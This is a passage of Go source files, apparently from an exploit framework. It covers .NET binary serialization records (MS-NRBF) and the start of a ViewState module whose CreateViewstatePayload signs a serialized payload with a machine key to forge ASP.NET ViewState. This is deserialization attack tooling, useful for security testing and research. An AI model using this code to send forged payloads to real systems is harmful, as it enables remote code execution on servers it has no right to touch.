false\n\t}\n\taddInfoIndex := 0\n\tmemberTypeInfo := MemberTypeInfo{}\n\tvar additionalInfos []any\n\tmemberTypeInfo.AdditionalInfos = additionalInfos\n\n\t// build the binary array string of binarytypeenums, which will basically be of type []byte{type0,type1,typeN}\n\tfor _, memberType := range memberTypes {\n\t\tval, ok := BinaryTypeEnumerationMap[memberType] // Ensuring that they're valid types\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkError(\"Failed to build MemberTypeInfo string: Invalid member type provided: %s, names: %q , all types: %s\", memberType, memberNames, memberTypes)\n\n\t\t\treturn MemberTypeInfo{}, false\n\t\t}\n\n\t\tmemberTypeInfo.BinaryTypes = append(memberTypeInfo.BinaryTypes, memberType)\n\t\tmemberTypeInfo.BinaryTypeEnums = append(memberTypeInfo.BinaryTypeEnums, val)\n\n\t\tif needsAdditionalInfo(memberType) {\n\t\t\tif len(additionalInfo) < addInfoIndex+1 {\n\t\t\t\toutput.PrintfFrameworkError(\"Failed to build MemberTypeInfo string: Not enough additionalInfo values provided: %s\", memberType)\n\n\t\t\t\treturn MemberTypeInfo{}, false\n\t\t\t}\n\t\t\taddInfo := additionalInfo[addInfoIndex]\n\t\t\taddInfoIndex++\n\t\t\tmemberTypeInfo.AdditionalInfos = append(memberTypeInfo.AdditionalInfos, addInfo)\n\t\t}\n\t}\n\n\treturn memberTypeInfo, true\n}\n\n// Gives us the expected expected binary string representation.\n// MemberTypeInfo output order: byteTypeEnums[]byte + []AdditionalInfo.\nfunc (memberTypeInfo MemberTypeInfo) ToBin() (string, bool) {\n\t// build the array of binarytypeenums\n\tvar binTypeEnumsBuilder strings.Builder\n\tfor _, v := range memberTypeInfo.BinaryTypeEnums {\n\t\tbinTypeEnumsBuilder.WriteString(string(byte(v)))\n\t}\n\tdataSequence := binTypeEnumsBuilder.String()\n\n\tfor _, addInfo := range memberTypeInfo.AdditionalInfos {\n\t\tif addInfo == nil {\n\t\t\toutput.PrintFrameworkError(\"Nil additional info provided\")\n\n\t\t\treturn \"\", false\n\t\t}\n\n\t\ttypeInt, ok := addInfo.(int) // it seems these are primitive type enum values\n\t\tif ok {\n\t\t\tdataSequence += string(byte(typeInt))\n\n\t\t\tcontinue\n\t\t}\n\n\t\tstringInput, ok := addInfo.(string)\n\t\tif ok {\n\t\t\tdataSequence += lengthPrefixedString(stringInput)\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// handling ClassTypeInfo used for 'Class' type\n\t\tclassTypeInfo, ok := addInfo.(ClassTypeInfo)\n\t\tif ok {\n\t\t\tdataSequence += lengthPrefixedString(classTypeInfo.TypeName)\n\t\t\tdataSequence += transform.PackLittleInt32(classTypeInfo.LibraryID)\n\n\t\t\tcontinue\n\t\t}\n\t\toutput.PrintfFrameworkError(\"Unsupported additional info type provided %q\", addInfo)\n\n\t\treturn \"\", false\n\t}\n\n\treturn dataSequence, true\n}\n\n// returns all but the last item in the class name\n// obj.Name = \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\"\n// obj.GetLeadingClassName(className) == \"Microsoft.VisualStudio.Text.Formatting\".\nfunc (classInfo ClassInfo) GetLeadingClassName() string {\n\tsplit := strings.Split(classInfo.Name, \".\")\n\tsLen := len(split)\n\tif sLen < 2 {\n\t\toutput.PrintfFrameworkWarn(\"Class name does not contain '.' character, entire value returned for GetLeadingClassName(). Name=%s, len %d\", classInfo.Name, sLen)\n\n\t\treturn classInfo.Name\n\t}\n\n\treturn strings.Join(split[:len(split)-1], \".\")\n}\n\n// returns only the last item in the class name\n// obj.Name = \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\"\n// obj.GetLeadingClassName(className) == \"TextFormattingRunProperties\".\nfunc (classInfo ClassInfo) GetBaseClassName() string {\n\tsplit := strings.Split(classInfo.Name, \".\")\n\tsLen := len(split)\n\tif sLen == 0 {\n\t\toutput.PrintfFrameworkWarn(\"Class name does not contain '.' character, entire value returned for GetBaseClassName(). Name=%s, len %d\", classInfo.Name, sLen)\n\n\t\treturn classInfo.Name\n\t}\n\n\treturn split[sLen-1]\n}\n\n// Gives us the expected expected binary string representation.\n// ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0a192be0-58a1-41d0-8a54-9c91db0ab7bf\nfunc (classInfo ClassInfo) ToBin() string {\n\tobjectIDString := transform.PackLittleInt32(classInfo.ObjectID)\n\tmemberCountString := transform.PackLittleInt32(len(classInfo.MemberNames))\n\n\tvar memberNamesStringBuilder strings.Builder\n\tfor _, memberName := range classInfo.MemberNames {\n\t\tmemberNamesStringBuilder.WriteString(lengthPrefixedString(memberName))\n\t}\n\tmemberNamesString := memberNamesStringBuilder.String()\n\n\treturn objectIDString + lengthPrefixedString(classInfo.Name) + memberCountString + memberNamesString\n}\n"
  },
  {
    "path": "dotnet/records.go",
    "content": "package dotnet\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\ntype Record interface {\n\tGetRecordType() int\n\tToRecordBin() (string, bool)\n\t// TOXML impls, exist to convert a given record into the expected SOAP XML element for the SOAP formatter. Not all records have been implemented.\n\tToXML(ClassInfo, MemberTypeInfo, BinaryLibraryRecord, int, string) (MemberNode, bool)\n}\n\ntype MemberPrimitiveTypedRecord struct {\n\tPrimitiveTypeEnum int\n\tValue             Primitive\n}\n\ntype BinaryArrayRecord struct {\n\tObjectID            int\n\tBinaryArrayTypeEnum int // 1byte\n\tRank                int\n\tLengths             []int\n\tLowerBounds         []int\n\tTypeEnum            int // 1byte\n\tAdditionalTypeInfo  []any\n}\n\ntype ClassWithIDRecord struct {\n\tObjectID     int\n\tMetadataID   int\n\tMemberValues []any\n}\n\ntype BinaryLibraryRecord struct {\n\tID      int\n\tLibrary string\n}\n\ntype SystemClassWithMembersAndTypesRecord struct {\n\tClassInfo      ClassInfo\n\tMemberTypeInfo MemberTypeInfo\n\tMemberValues   []any\n}\n\ntype ClassWithMembersAndTypesRecord struct {\n\tClassInfo      ClassInfo\n\tMemberTypeInfo MemberTypeInfo\n\tLibraryID      int\n\tMemberValues   []any\n\tBinaryLibrary  BinaryLibraryRecord // Not _really_ supposed to be here per MSDN but I placed it here for convenience\n}\n\ntype SerializationHeaderRecord struct {\n\tHeaderID int\n\tRootID   int\n}\n\ntype MemberReferenceRecord struct {\n\tIDRef int\n}\n\ntype ObjectNullMultiple256Record struct {\n\tNullCount int\n}\n\ntype ObjectNullRecord struct{}\n\ntype BinaryObjectString struct {\n\tObjectID int\n\tValue    string\n}\n\ntype ArrayInfo struct {\n\tObjectID    int\n\tMemberCount int\n}\n\ntype ArraySinglePrimitiveRecord struct {\n\tPrimitiveTypeEnum int\n\tArrayInfo         ArrayInfo\n\tMembers           string // this will be a hex byte string \"\\x00\\xwhatever\"\n}\n\ntype ArraySingleStringRecord struct {\n\tArrayInfo ArrayInfo\n\tMembers   []any\n}\n\ntype ArraySingleObjectRecord struct {\n\tArrayInfo ArrayInfo\n\tMembers   []any\n}\n\nfunc (objectNullMultiple256Record ObjectNullMultiple256Record) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ObjectNullMultiple256\"]\n}\n\nfunc (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ArraySinglePrimitive\"]\n}\n\nfunc (binaryArrayRecord BinaryArrayRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"BinaryArray\"]\n}\n\nfunc (arraySingleObjectRecord ArraySingleObjectRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ArraySingleObject\"]\n}\n\nfunc (arraySingleStringRecord ArraySingleStringRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ArraySingleString\"]\n}\n\nfunc (classWithIDRecord ClassWithIDRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ClassWithId\"]\n}\n\nfunc (binaryObjectString BinaryObjectString) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"BinaryObjectString\"]\n}\n\nfunc (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ClassWithMembersAndTypes\"]\n}\n\nfunc (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"SystemClassWithMembersAndTypes\"]\n}\n\nfunc (serializationHeaderRecord SerializationHeaderRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"SerializedStreamHeader\"]\n}\n\nfunc (binaryLibraryRecord BinaryLibraryRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"BinaryLibrary\"]\n}\n\nfunc (memberReferenceRecord MemberReferenceRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"MemberReference\"]\n}\n\nfunc (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"MemberPrimitiveTyped\"]\n}\n\nfunc (objectNullRecord ObjectNullRecord) GetRecordType() int {\n\treturn RecordTypeEnumMap[\"ObjectNull\"]\n}\n\n// This one is different from the other recordbecause it usually is not processed within the 'context' of the member values, and needs to be called with information that is not present.\n// These records are usually appended outside of the membervalues.\nfunc (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXMLBespoke() (ClassDataNode, bool) {\n\tclassDataNode := ClassDataNode{}\n\tclassDataNode.XMLName.Local = \"SOAP-ENC:Array\"\n\tclassDataNode.ID = fmt.Sprintf(\"ref-%d\", arraySinglePrimitiveRecord.ArrayInfo.ObjectID)\n\tclassDataNode.addAttribute(\"xsi:type\", \"SOAP-ENC:base64\")\n\n\t// encode to match xsi:type\n\tb64Content := make([]byte, base64.StdEncoding.EncodedLen(len(arraySinglePrimitiveRecord.Members)))\n\tbase64.StdEncoding.Encode(b64Content, []byte(arraySinglePrimitiveRecord.Members))\n\tb64MemberContent := string(b64Content)\n\tclassDataNode.Content = b64MemberContent\n\n\treturn classDataNode, true\n}\n\nfunc (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for ArraySingleStringRecord cannot be used, call <instance>.ToXMLBespoke() instead. Note: uses different parameters.\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (objectNullMultiple256Record ObjectNullMultiple256Record) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for ObjectNullMultiple256Record not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for MemberPrimitiveTypedRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (binaryArrayRecord BinaryArrayRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for BinaryArrayRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (arraySingleObjectRecord ArraySingleObjectRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for ArraySingleObjectRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (arraySingleStringRecord ArraySingleStringRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for ArraySingleStringRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (classWithIDRecord ClassWithIDRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for ClassWithIDRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (binaryObjectString BinaryObjectString) ToXML(classInfo ClassInfo, memberTypeInfo MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) {\n\tmemberNode := MemberNode{}\n\tmemberNode.XMLName.Local = classInfo.MemberNames[currentIndex]\n\tmemberNode.ID = fmt.Sprintf(\"ref-%d\", binaryObjectString.ObjectID)\n\tmemberNode.XsiType = \"xsd:\" + strings.ToLower(memberTypeInfo.BinaryTypes[currentIndex])\n\tmemberNode.Content = escapeTags(binaryObjectString.Value)\n\n\treturn memberNode, true\n}\n\nfunc (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) ToXML(classInfo ClassInfo, _ MemberTypeInfo, binaryLibraryRecord BinaryLibraryRecord, currentIndex int, ns string) (MemberNode, bool) {\n\tmemberNode := MemberNode{}\n\tmemberNode.XMLName.Local = classInfo.MemberNames[currentIndex]\n\tmemberNode.XsiType = \"a1:\" + classWithMembersAndTypesRecord.ClassInfo.GetBaseClassName()\n\tlibURL := fmt.Sprintf(\"http://schemas.microsoft.com/clr/nsassem/%s/%s\", classInfo.GetLeadingClassName(), binaryLibraryRecord.Library)\n\tmemberNode.addAttribute(\"xmlns:\"+ns, libURL)\n\tmemberNode.Content = \"Binary\" // NOT 100% sure this is always the case but it was for DataSet. Once we find out if/when/why this is the case we can implement that logic\n\n\treturn memberNode, true\n}\n\nfunc (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for SystemClassWithMembersAndTypesRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (serializationHeaderRecord SerializationHeaderRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for SerializationHeaderRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (binaryLibraryRecord BinaryLibraryRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) {\n\toutput.PrintFrameworkError(\"ToXML for BinaryLibraryRecord not yet implemented\")\n\n\treturn MemberNode{}, false\n}\n\nfunc (memberReferenceRecord MemberReferenceRecord) ToXML(classInfo ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) {\n\tmemberNode := MemberNode{}\n\tmemberNode.XMLName.Local = classInfo.MemberNames[currentIndex]\n\tmemberNode.HREF = fmt.Sprintf(\"#ref-%d\", memberReferenceRecord.IDRef)\n\n\treturn memberNode, true\n}\n\nfunc (objectNullRecord ObjectNullRecord) ToXML(classInfo ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) {\n\tmemberNode := MemberNode{}\n\tmemberNode.XMLName.Local = classInfo.MemberNames[currentIndex]\n\tmemberNode.XsiType = \"xsi:anyType\"\n\tmemberNode.XsiNull = \"1\"\n\n\treturn memberNode, true\n}\n\n// ToRecordBin impls these exist to convert the struct into the binary stream that is expected by the serialized object format.\nfunc (arraySingleStringRecord ArraySingleStringRecord) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(arraySingleStringRecord.GetRecordType()))\n\tobjectIDString := transform.PackLittleInt32(arraySingleStringRecord.ArrayInfo.ObjectID)\n\tmemberCount := transform.PackLittleInt32(arraySingleStringRecord.ArrayInfo.MemberCount)\n\tmemberValuesString := \"\"\n\tfor _, member := range arraySingleStringRecord.Members {\n\t\tmemberRecord, ok := member.(Record)\n\t\tif ok {\n\t\t\trecordBinString, ok := memberRecord.ToRecordBin()\n\t\t\tif !ok {\n\t\t\t\treturn \"\", false\n\t\t\t}\n\t\t\tmemberValuesString += recordBinString\n\n\t\t\tcontinue\n\t\t}\n\t\tmemberString, ok := member.(string)\n\t\tif ok {\n\t\t\tmemberValuesString += memberString\n\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn recordByteString + objectIDString + memberCount + memberValuesString, true\n}\n\nfunc (binaryArrayRecord BinaryArrayRecord) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(binaryArrayRecord.GetRecordType()))\n\tobjectIDString := transform.PackLittleInt32(binaryArrayRecord.ObjectID)\n\tbinTypeEnumString := string(byte(binaryArrayRecord.BinaryArrayTypeEnum))\n\trankString := transform.PackLittleInt32(binaryArrayRecord.Rank)\n\tvar lengthsString string\n\tfor _, length := range binaryArrayRecord.Lengths {\n\t\tlengthsString += transform.PackLittleInt32(length)\n\t}\n\n\tvar lowerBoundsString string // only necessary for certain types\n\tif binaryArrayRecord.BinaryArrayTypeEnum > 2 {\n\t\tfor _, bound := range binaryArrayRecord.LowerBounds {\n\t\t\tlowerBoundsString += transform.PackLittleInt32(bound)\n\t\t}\n\t}\n\n\tvar addInfoString string\n\tfor _, addInfo := range binaryArrayRecord.AdditionalTypeInfo {\n\t\tif addInfo == nil {\n\t\t\toutput.PrintFrameworkError(\"Nil additional info provided\")\n\n\t\t\treturn \"\", false\n\t\t}\n\n\t\ttypeInt, ok := addInfo.(int)\n\t\tif ok {\n\t\t\taddInfoString += string(byte(typeInt))\n\n\t\t\tcontinue\n\t\t}\n\n\t\tstringInput, ok := addInfo.(string)\n\t\tif ok {\n\t\t\taddInfoString += lengthPrefixedString(stringInput)\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// handling ClassTypeInfo used for 'Class' type\n\t\tclassTypeInfo, ok := addInfo.(ClassTypeInfo)\n\t\tif ok {\n\t\t\taddInfoString += lengthPrefixedString(classTypeInfo.TypeName)\n\t\t\taddInfoString += transform.PackLittleInt32(classTypeInfo.LibraryID)\n\n\t\t\tcontinue\n\t\t}\n\t\toutput.PrintfFrameworkError(\"Unsupported additional info type provided %q\", addInfo)\n\n\t\treturn \"\", false\n\t}\n\n\treturn recordByteString + objectIDString + binTypeEnumString + rankString + lengthsString + lowerBoundsString + string(byte(binaryArrayRecord.TypeEnum)) + addInfoString, true\n}\n\nfunc (arraySingleObjectRecord ArraySingleObjectRecord) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(arraySingleObjectRecord.GetRecordType()))\n\tobjectIDString := transform.PackLittleInt32(arraySingleObjectRecord.ArrayInfo.ObjectID)\n\tmemberCount := transform.PackLittleInt32(arraySingleObjectRecord.ArrayInfo.MemberCount)\n\n\t// handle member values\n\tmemberValuesString := \"\"\n\tfor _, member := range arraySingleObjectRecord.Members {\n\t\tmemberRecord, ok := member.(Record)\n\t\tif ok {\n\t\t\trecordBinString, ok := memberRecord.ToRecordBin()\n\t\t\tif !ok {\n\t\t\t\treturn \"\", false\n\t\t\t}\n\t\t\tmemberValuesString += recordBinString\n\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn recordByteString + objectIDString + memberCount + memberValuesString, true\n}\n\nfunc (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(arraySinglePrimitiveRecord.GetRecordType()))\n\tobjectIDString := transform.PackLittleInt32(arraySinglePrimitiveRecord.ArrayInfo.ObjectID)\n\tmemberCount := transform.PackLittleInt32(arraySinglePrimitiveRecord.ArrayInfo.MemberCount)\n\tprimitiveTypeString := string(byte(arraySinglePrimitiveRecord.PrimitiveTypeEnum))\n\n\treturn recordByteString + objectIDString + memberCount + primitiveTypeString + arraySinglePrimitiveRecord.Members, true\n}\n\nfunc (objectNullMultiple256Record ObjectNullMultiple256Record) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(objectNullMultiple256Record.GetRecordType()))\n\tnullCountString := string(byte((objectNullMultiple256Record.NullCount)))\n\tif objectNullMultiple256Record.NullCount > 255 || objectNullMultiple256Record.NullCount < 0 {\n\t\toutput.PrintFrameworkError(\"Invalid value for objectNullMultiple256Record.NullCount, MUST be between 0-255 (inclusive)\")\n\n\t\treturn \"\", false\n\t}\n\n\treturn recordByteString + nullCountString, true\n}\n\nfunc (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(memberPrimitiveTypedRecord.GetRecordType()))\n\ttypeEnumString := string([]byte{byte(memberPrimitiveTypedRecord.PrimitiveTypeEnum)})\n\tvalueString := memberPrimitiveTypedRecord.Value.PrimToString()\n\n\treturn recordByteString + typeEnumString + valueString, true\n}\n\nfunc (memberReferenceRecord MemberReferenceRecord) ToRecordBin() (string, bool) {\n\trecordByteString := string(byte(memberReferenceRecord.GetRecordType()))\n\tidRefString := transform.PackLittleInt32(memberReferenceRecord.IDRef)\n\n\treturn recordByteString + idRefString, true\n}\n\nfunc (objectNullRecord ObjectNullRecord) ToRecordBin() (string, bool) {\n\treturn string(byte(objectNullRecord.GetRecordType())), true\n}\n\n// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/a7e578d3-400a-4249-9424-7529d10d1b3c\nfunc (serializationHeaderRecord SerializationHeaderRecord) ToRecordBin() (string, bool) {\n\trecordTypeEnumString := string(byte(serializationHeaderRecord.GetRecordType())) // 0\n\trootIDString := transform.PackLittleInt32(serializationHeaderRecord.RootID)\n\theaderIDString := transform.PackLittleInt32(serializationHeaderRecord.HeaderID)\n\tmajorVersion := transform.PackLittleInt32(1) // MUST be 1\n\tminorVersion := transform.PackLittleInt32(0) // MUST be 0\n\n\treturn recordTypeEnumString + rootIDString + headerIDString + majorVersion + minorVersion, true\n}\n\nfunc (binaryLibraryRecord BinaryLibraryRecord) ToRecordBin() (string, bool) {\n\trecordTypeEnumString := string(byte(binaryLibraryRecord.GetRecordType()))\n\tidLEBytes := transform.PackLittleInt32(binaryLibraryRecord.ID)\n\tlibName := lengthPrefixedString(binaryLibraryRecord.Library)\n\n\treturn recordTypeEnumString + idLEBytes + libName, true\n}\n\nfunc (classWithIDRecord ClassWithIDRecord) ToRecordBin() (string, bool) {\n\trecordTypeEnumString := string(byte(classWithIDRecord.GetRecordType()))\n\tobjectIDString := transform.PackLittleInt32(classWithIDRecord.ObjectID)\n\tmetadataIDString := transform.PackLittleInt32(classWithIDRecord.MetadataID)\n\tmemberValuesString := \"\"\n\tfor _, memberValue := range classWithIDRecord.MemberValues {\n\t\t// handle record types\n\t\tmemberRecord, ok := memberValue.(Record)\n\t\tif ok {\n\t\t\trecordBin, ok := memberRecord.ToRecordBin()\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed to convert member value into record\")\n\n\t\t\t\treturn \"\", false\n\t\t\t}\n\t\t\tmemberValuesString += recordBin\n\n\t\t\tcontinue\n\t\t}\n\n\t\tmemberString, ok := memberValue.(string)\n\t\tif ok {\n\t\t\tmemberValuesString += memberString\n\n\t\t\tcontinue\n\t\t}\n\t\tmemberInt, ok := memberValue.(int) // Keeping these commented for now\n\t\tif ok {\n\t\t\tmemberValuesString += transform.PackLittleInt32(memberInt)\n\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn recordTypeEnumString + objectIDString + metadataIDString + memberValuesString, true\n}\n\n// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996\nfunc (binaryObjectString BinaryObjectString) ToRecordBin() (string, bool) {\n\trecordTypeEnumString := string(byte(binaryObjectString.GetRecordType()))\n\tobjectIDString := transform.PackLittleInt32(binaryObjectString.ObjectID)\n\tprefixedValue := lengthPrefixedString(binaryObjectString.Value)\n\n\treturn recordTypeEnumString + objectIDString + prefixedValue, true\n}\n\nfunc (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord) ToRecordBin() (string, bool) {\n\tmemberValuesString := \"\"\n\n\tfor _, memberValue := range systemClassWithMembersAndTypesRecord.MemberValues {\n\t\tswitch v := memberValue.(type) {\n\t\tcase Record:\n\t\t\trecordBin, ok := v.ToRecordBin()\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed to convert member value into record\")\n\n\t\t\t\treturn \"\", false\n\t\t\t}\n\t\t\tmemberValuesString += recordBin\n\t\tcase int:\n\t\t\tmemberValuesString += transform.PackLittleInt32(v)\n\t\tcase Primitive:\n\t\t\tmemberValuesString += v.PrimToString()\n\t\tcase bool:\n\t\t\tswitch v {\n\t\t\tcase true:\n\t\t\t\tmemberValuesString += \"\\x01\"\n\n\t\t\t\tcontinue\n\n\t\t\tcase false:\n\t\t\t\tmemberValuesString += \"\\x00\"\n\n\t\t\t\tcontinue\n\t\t\t}\n\t\tcase string:\n\t\t\tmemberValuesString += v\n\t\t}\n\t}\n\n\trecordTypeEnumString := string(byte(systemClassWithMembersAndTypesRecord.GetRecordType()))\n\tmemberTypeInfoString, ok := systemClassWithMembersAndTypesRecord.MemberTypeInfo.ToBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\t// objid, name, count, membernames//int8 type values+addInfo/the array of values\n\treturn recordTypeEnumString + systemClassWithMembersAndTypesRecord.ClassInfo.ToBin() + memberTypeInfoString + memberValuesString, true\n}\n\n// ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/847b0b6a-86af-4203-8ed0-f84345f845b9\nfunc (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) ToRecordBin() (string, bool) {\n\tmemberValuesString := \"\"\n\tfor _, memberValue := range classWithMembersAndTypesRecord.MemberValues {\n\t\tswitch v := memberValue.(type) {\n\t\tcase Record:\n\t\t\trecordBin, ok := v.ToRecordBin()\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed to convert member value into record\")\n\n\t\t\t\treturn \"\", false\n\t\t\t}\n\t\t\tmemberValuesString += recordBin\n\t\tcase int:\n\t\t\tmemberValuesString += transform.PackLittleInt32(v)\n\t\tcase Primitive:\n\t\t\tmemberValuesString += v.PrimToString()\n\t\tcase bool:\n\t\t\tswitch v {\n\t\t\tcase true:\n\t\t\t\tmemberValuesString += \"\\x01\"\n\n\t\t\t\tcontinue\n\n\t\t\tcase false:\n\t\t\t\tmemberValuesString += \"\\x00\"\n\n\t\t\t\tcontinue\n\t\t\t}\n\t\tcase string:\n\t\t\tmemberValuesString += v\n\t\t}\n\t}\n\n\trecordTypeEnumString := string(byte(classWithMembersAndTypesRecord.GetRecordType())) // 5\n\tlibraryIDString := transform.PackLittleInt32(classWithMembersAndTypesRecord.LibraryID)\n\tmemberTypeInfoString, ok := classWithMembersAndTypesRecord.MemberTypeInfo.ToBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\t// id, name, count, membernames+addinfo\tthe int8 values for types, the int32 ID, the array of values\n\treturn recordTypeEnumString + classWithMembersAndTypesRecord.ClassInfo.ToBin() + memberTypeInfoString + libraryIDString + memberValuesString, true\n}\n"
  },
  {
    "path": "dotnet/viewstate.go",
    "content": "//nolint:makezero\npackage dotnet\n\n// Dotnet Serialization functions related to viewstate\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/hmac\"\n\t\"crypto/rand\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\nfunc GenerateViewstateHMAC(data string, algo string, hexKey string) (string, bool) {\n\tvar hmacHash []byte\n\n\tkey, err := hex.DecodeString(hexKey)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Invalid key provided: %s\", err)\n\n\t\treturn \"\", false\n\t}\n\n\tswitch algo {\n\tcase \"sha1\":\n\t\th := hmac.New(sha1.New, key)\n\t\th.Write([]byte(data))\n\t\thmacHash = h.Sum(nil)\n\tcase \"sha256\":\n\t\th := hmac.New(sha256.New, key)\n\t\th.Write([]byte(data))\n\t\thmacHash = h.Sum(nil)\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Unsupported algorithm: %s\", algo)\n\n\t\treturn \"\", false\n\t}\n\n\treturn hex.EncodeToString(hmacHash), true\n}\n\n// hex decode the generator and 'fix the endianness', a.k.a reverse the bytes since this is basically always going to be the same.\nfunc GeneratorToArray(input string) ([]byte, bool) {\n\tif len(input) != 8 {\n\t\toutput.PrintFrameworkError(\"Invalid generator length, should be 8 characters (4 hex bytes)\")\n\n\t\treturn []byte{}, false\n\t}\n\tdecodedBytes, err := hex.DecodeString(input)\n\tif err != nil {\n\t\toutput.PrintError(\"Could not decode string\")\n\n\t\treturn []byte{}, false\n\t}\n\n\tfor i, j := 0, len(decodedBytes)-1; i < j; i, j = i+1, j-1 {\n\t\tdecodedBytes[i], decodedBytes[j] = decodedBytes[j], decodedBytes[i]\n\t}\n\n\treturn decodedBytes, true\n}\n\n// Takes payloadData, a machineKey, and a generator (can be empty) and returns a base64 encoded, signed payload.\n// payloadData should be a dotnet serialized payload.\nfunc CreateViewstatePayload(payloadData string, machineKey string, generator string) (string, bool) {\n\t// turn the hardcoded generator into an expected form to sign it\n\tgeneratorArray, ok := GeneratorToArray(generator)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tpayloadAndGenerator := payloadData + string(generatorArray)\n\n\t// get the HMAC signature using hardcoded key\n\thmac, 